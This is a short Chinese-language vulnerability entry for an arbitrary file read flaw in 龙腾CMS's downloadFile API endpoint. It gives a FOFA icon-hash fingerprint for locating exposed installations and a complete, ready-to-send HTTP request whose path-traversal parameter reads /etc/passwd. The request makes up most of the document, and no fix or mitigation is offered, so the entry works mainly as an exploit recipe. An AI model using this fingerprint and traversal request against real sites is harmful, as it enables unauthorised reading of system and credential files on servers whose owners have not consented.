龙腾CMS downloadFile存在任意文件读取漏洞
一、漏洞简介
大连网龙网络科技有限公司专注于在信息科技领域中向客户提供商业解决方案，是专业的互联网服务解决方案提供商和网络营销服务专家，为用户提供一体化的网络营销整体解决方案，龙腾CMS downloadFile存在任意文件读取漏洞
二、影响版本
- 龙腾CMS
三、资产测绘
- fofa
icon_hash="-803002403" - 特征
四、漏洞复现
GET /api/file/downloadFile?file=../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: cms_session=uck8lfsr72os4v8oblfa74upli
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i